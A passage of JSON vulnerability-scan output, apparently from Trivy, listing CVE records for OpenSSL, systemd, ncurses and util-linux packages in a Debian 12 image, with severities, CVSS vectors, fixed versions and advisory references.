"https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ba46aaebb07ff97ca28c5e131dca64218ee564ff59ec3178f7c0ea5789a6c29d", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "VendorIDs": [ "DSA-6335-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.20-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e4ef70036e05c4e0453c66721e3d7c9369c545f0db243d609bdb791bb7be21de", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DLA-4859-1" ], "PkgID": "libssl3@3.0.18-1~deb12u2", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.22-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6b28fe7a963df0f802f0f3f114347f75dafe2b18c431296295bec9ce14a1778c", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-16742", "PkgID": "libsystemd0@252.39-1~deb12u1", "PkgName": "libsystemd0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsystemd0@252.39-1~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "e40e05a923707d7f" }, "InstalledVersion": "252.39-1~deb12u1", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da2e4dc3cf93f664430ad6e5c618abfb642661105a186399d9d7885efb8e450c", "Title": "systemd: systemd-homed: Local privilege escalation via missing home-record signature verification", "Description": "systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-347" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-16742", "https://github.com/systemd/systemd/security/advisories/GHSA-jm29-p7hh-vjhv", "https://nvd.nist.gov/vuln/detail/CVE-2026-16742", "https://ubuntu.com/security/notices/USN-8626-1", "https://www.cve.org/CVERecord?id=CVE-2026-16742" ], "PublishedDate": "2026-08-10T14:17:21.277Z", "LastModifiedDate": "2026-10-23T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "libtinfo6@6.4-4", "PkgName": "libtinfo6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libtinfo6@6.4-4?arch=amd64\u0026distro=debian-12.13", "UID": "63fb711fbf678a31" }, "InstalledVersion": "6.4-4", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b03bfdee7538b79ba3f9acea5d1c1eccc581b35f74af05e066be605f337f55c3", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-16742", "PkgID": "libudev1@252.39-1~deb12u1", "PkgName": "libudev1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libudev1@252.39-1~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "c3ea0c1cf2966c72" }, "InstalledVersion": "252.39-1~deb12u1", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5740e30e37518866a046962a20f6ababcf5211dc7b87f8e0b4b97e50554bcbf9", "Title": "systemd: systemd-homed: Local privilege escalation via missing home-record signature verification", "Description": "systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-347" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-16742", "https://github.com/systemd/systemd/security/advisories/GHSA-jm29-p7hh-vjhv", "https://nvd.nist.gov/vuln/detail/CVE-2026-16742", "https://ubuntu.com/security/notices/USN-8626-1", "https://www.cve.org/CVERecord?id=CVE-2026-16742" ], "PublishedDate": "2026-08-10T14:17:21.277Z", "LastModifiedDate": "2026-10-23T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libuuid1@2.38.1-5+deb12u3", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9e9dd0fdd8a2646" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9fb58391d29759eb1a87cddb6fccfd97669323b8d284d2ed80b2b4a014b6e87a", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libuuid1@2.38.1-5+deb12u3", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9e9dd0fdd8a2646" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fab920ffaf2bf969b3466766bf4c8b5ff689c357434c8fda4a6bbd16dafd8899", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", 